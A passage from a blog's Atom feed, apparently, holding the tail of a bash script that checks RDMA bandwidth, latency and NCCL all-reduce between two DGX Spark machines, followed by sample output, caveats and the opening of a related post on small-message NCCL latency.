&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#79c0ff"&gt;LAT&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;grep -E &lt;span style="color:#a5d6ff"&gt;&amp;#39;^[[:space:]]*[0-9]&amp;#39;&lt;/span&gt; /tmp/lat_cli.log | tail -1 | awk &lt;span style="color:#a5d6ff"&gt;&amp;#39;{print $5}&amp;#39;&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt; &lt;span style="color:#8b949e;font-style:italic"&gt;# t_typical&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#79c0ff"&gt;LATI&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;LAT&lt;/span&gt;%%.*&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; -z &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$LATI&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt; gate_bad &lt;span style="color:#a5d6ff"&gt;&amp;#34;no latency result — see /tmp/lat_cli.log&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;elif&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$LATI&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; -le &lt;span style="color:#a5d6ff"&gt;3&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt; gate_ok &lt;span style="color:#a5d6ff"&gt;&amp;#34;latency &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;LAT&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; us typical — excellent&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;elif&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$LATI&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; -le &lt;span style="color:#a5d6ff"&gt;10&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt; gate_warn &lt;span style="color:#a5d6ff"&gt;&amp;#34;latency &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;LAT&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; us — higher than expected&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;else&lt;/span&gt; gate_bad &lt;span style="color:#a5d6ff"&gt;&amp;#34;latency &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;LAT&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; us — link unhealthy&amp;#34;&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# ----- TEST 3: NCCL all-reduce over RoCE (all_reduce_perf via mpirun) --------&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hdr &lt;span style="color:#a5d6ff"&gt;&amp;#34;3/3 NCCL all-reduce over RoCE (all_reduce_perf, 8B..128M)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#79c0ff"&gt;MPIRUN&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;command -v mpirun&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;; &lt;span style="color:#79c0ff"&gt;ARP&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$HOME&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;/nccl-tests/build/all_reduce_perf&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; -x &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$ARP&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;||&lt;/span&gt; die &lt;span style="color:#a5d6ff"&gt;&amp;#34;all_reduce_perf not built (&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$ARP&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;) — re-run without --skip-install&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MPIRUN&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; -np &lt;span style="color:#a5d6ff"&gt;2&lt;/span&gt; -H &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MIP&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;,&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PIP&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --allow-run-as-root &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --mca oob_tcp_if_include &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$SUBNET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; --mca btl_tcp_if_include &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$SUBNET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -x &lt;span style="color:#79c0ff"&gt;NCCL_NET_PLUGIN&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;none -x &lt;span style="color:#79c0ff"&gt;NCCL_IB_MERGE_NICS&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -x &lt;span style="color:#79c0ff"&gt;NCCL_IB_HCA&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MDEV&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;,&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PDEV&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; -x &lt;span style="color:#79c0ff"&gt;NCCL_SOCKET_IFNAME&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MNET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;,&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PNET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -x &lt;span style="color:#79c0ff"&gt;NCCL_DEBUG&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;INFO &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$ARP&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; -b &lt;span style="color:#a5d6ff"&gt;8&lt;/span&gt; -e 128M -f &lt;span style="color:#a5d6ff"&gt;2&lt;/span&gt; -g &lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; &amp;gt;/tmp/nccl.log 2&amp;gt;&amp;amp;&lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;||&lt;/span&gt; true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;say &lt;span style="color:#a5d6ff"&gt;&amp;#34; --- size / in-place time(us) / busbw(GB/s) / #wrong ---&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# data rows carry out-of-place then in-place results; in-place = last 4 cols:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# ... time(NF-3) algbw(NF-2) busbw(NF-1) #wrong(NF)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;grep -E &lt;span style="color:#a5d6ff"&gt;&amp;#39;^[[:space:]]*[0-9]+[[:space:]]&amp;#39;&lt;/span&gt; /tmp/nccl.log &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | awk &lt;span style="color:#a5d6ff"&gt;&amp;#39;{printf &amp;#34; %10s %8s us %8s GB/s wrong=%s\n&amp;#34;,$1,$(NF-3),$(NF-1),$NF}&amp;#39;&lt;/span&gt; | sed -n &lt;span style="color:#a5d6ff"&gt;&amp;#39;1,12p&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# transport check&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; grep -q &lt;span style="color:#a5d6ff"&gt;&amp;#39;NET/IB&amp;#39;&lt;/span&gt; /tmp/nccl.log; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt; gate_ok &lt;span style="color:#a5d6ff"&gt;&amp;#34;NCCL on NET/IB (RoCE) — not a TCP fallback&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;elif&lt;/span&gt; grep -q &lt;span style="color:#a5d6ff"&gt;&amp;#39;NET/Socket&amp;#39;&lt;/span&gt; /tmp/nccl.log; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt; gate_bad &lt;span style="color:#a5d6ff"&gt;&amp;#34;NCCL fell back to NET/Socket (TCP) — RoCE not used; check NCCL_NET_PLUGIN/IB_HCA&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;else&lt;/span&gt; gate_warn &lt;span style="color:#a5d6ff"&gt;&amp;#34;could not confirm NCCL transport from log (/tmp/nccl.log)&amp;#34;&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# correctness&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; grep -E &lt;span style="color:#a5d6ff"&gt;&amp;#39;^[[:space:]]*[0-9]&amp;#39;&lt;/span&gt; /tmp/nccl.log | awk &lt;span style="color:#a5d6ff"&gt;&amp;#39;{print $NF}&amp;#39;&lt;/span&gt; | grep -qvE &lt;span style="color:#a5d6ff"&gt;&amp;#39;^(0|N/A)$&amp;#39;&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; gate_bad &lt;span style="color:#a5d6ff"&gt;&amp;#34;all-reduce produced WRONG results (nonzero #wrong) — see /tmp/nccl.log&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;else&lt;/span&gt; gate_ok &lt;span style="color:#a5d6ff"&gt;&amp;#34;all-reduce numerically correct (#wrong 0)&amp;#34;&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# small-message latency @ 16384 B&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#79c0ff"&gt;US&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;grep -E &lt;span style="color:#a5d6ff"&gt;&amp;#39;^[[:space:]]*16384[[:space:]]&amp;#39;&lt;/span&gt; /tmp/nccl.log | head -1 | awk &lt;span style="color:#a5d6ff"&gt;&amp;#39;{print $(NF-3)}&amp;#39;&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#79c0ff"&gt;USI&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;US&lt;/span&gt;%%.*&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; -z &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$USI&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt; gate_warn &lt;span style="color:#a5d6ff"&gt;&amp;#34;no 16K row in NCCL output (see /tmp/nccl.log)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;elif&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$USI&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; -le &lt;span style="color:#a5d6ff"&gt;60&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt; gate_ok &lt;span style="color:#a5d6ff"&gt;&amp;#34;16K all-reduce &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;US&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; us — within budget for a per-layer collective&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;elif&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$USI&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; -le &lt;span style="color:#a5d6ff"&gt;200&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt; gate_warn &lt;span style="color:#a5d6ff"&gt;&amp;#34;16K all-reduce &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;US&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; us — usable but high&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;else&lt;/span&gt; gate_bad &lt;span style="color:#a5d6ff"&gt;&amp;#34;16K all-reduce &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;US&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; us — too slow for latency-coupled work&amp;#34;&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# ----- SUMMARY --------------------------------------------------------------&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hdr &lt;span style="color:#a5d6ff"&gt;&amp;#34;Summary&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;say &lt;span style="color:#a5d6ff"&gt;&amp;#34; master: &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MDEV&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; / &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MNET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; / &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MIP&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; peer: &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PDEV&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; / &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PNET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; / &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PIP&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;say &lt;span style="color:#a5d6ff"&gt;&amp;#34; logs: /tmp/bw_cli.log /tmp/lat_cli.log /tmp/nccl.log&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$FAILS&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; -gt &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; printf &lt;span style="color:#a5d6ff"&gt;&amp;#39;%s RESULT: %d FAIL, %d WARN — the link is NOT ready.%s\n&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$RED&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$FAILS&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$WARNS&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$RST&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; exit &lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;elif&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$WARNS&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; -gt &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; printf &lt;span style="color:#a5d6ff"&gt;&amp;#39;%s RESULT: PASS with %d warning(s) — usable, review above.%s\n&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$YLW&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$WARNS&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$RST&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; exit &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; printf &lt;span style="color:#a5d6ff"&gt;&amp;#39;%s RESULT: ALL GREEN — the two Sparks are wired and collectives work.%s\n&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$GRN&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$RST&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; exit &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="what-a-healthy-run-looks-like"&gt;What a healthy run looks like&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;== 1/3 RDMA bandwidth (ib_write_bw) ==
65536 5000 109.01 109.00 0.207902
[ OK ] bandwidth 109 Gbps/rail — healthy
== 2/3 RDMA latency (ib_write_lat) ==
2 1000 1.41 1.66 1.45 1.44
[ OK ] latency 1.45 us typical — excellent
== 3/3 NCCL all-reduce over RoCE (all_reduce_perf, 8B..128M) ==
16384 29.54 us 0.55 GB/s wrong=0
[ OK ] NCCL on NET/IB (RoCE) — not a TCP fallback
[ OK ] all-reduce numerically correct (#wrong 0)
[ OK ] 16K all-reduce 29.54 us — within budget for a per-layer collective
== Summary ==
RESULT: ALL GREEN — the two Sparks are wired and collectives work.
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="caveats"&gt;Caveats&lt;/h2&gt;
&lt;p&gt;One configuration, honestly reported: single rail, GDR disabled, a specific firmware/driver/NCCL stack, a &lt;code&gt;/30&lt;/code&gt; link. Loading the second rail (&lt;code&gt;NCCL_IB_MERGE_NICS&lt;/code&gt; across both &lt;code&gt;f0&lt;/code&gt; devices) gets you toward ~200 Gbps for bandwidth-bound transfers; it does little for the small-message latency, which is what most tightly-coupled workloads actually pay. The &lt;code&gt;ip addr&lt;/code&gt; assignment is not persistent — pin it in your network config once it&amp;rsquo;s green.&lt;/p&gt;
&lt;p&gt;But the point isn&amp;rsquo;t the exact numbers; it&amp;rsquo;s that you can now get a &lt;strong&gt;trustworthy&lt;/strong&gt; answer in one command. Before you blame your distributed framework for being slow, run this and rule out the link. Nine times out of ten the fabric is fine — and the one time it isn&amp;rsquo;t, you&amp;rsquo;ll know it&amp;rsquo;s the firmware throttle or a silent TCP fallback, not your code.&lt;/p&gt;</content><category term="nccl"/><category term="rdma"/><category term="roce"/><category term="infiniband"/><category term="dgx-spark"/><category term="gb10"/><category term="networking"/><category term="gpu"/><category term="distributed"/><category term="bringup"/></entry><entry><title>The Number Nobody Published: Small-Message NCCL Latency Between Two DGX Sparks</title><link href="https://contact.alessandrosangiorgi.net/posts/dgx-spark-nccl-collective-latency/" rel="alternate" type="text/html"/><id>https://contact.alessandrosangiorgi.net/posts/dgx-spark-nccl-collective-latency/</id><published>2026-06-25T00:00:00Z</published><updated>2026-06-25T00:00:00Z</updated><summary>Every dual-DGX-Spark writeup benchmarks bandwidth — GB/s of busbw, ~190 Gbps of RDMA. None of them publish the one figure that actually decides whether a latency-bound multi-node workload is viable: the small-message NCCL all-reduce latency over the ConnectX-7 RoCE link. So I measured it on two GB10 Sparks: ~2 µs RDMA write floor, and ~40 µs for a 16–32 KB all-reduce. Plus the firmware, NCCL, and OpenMPI traps that silently wreck the result.</summary><content type="html">&lt;p&gt;If you go looking for performance numbers on two NVIDIA DGX Sparks wired together over the 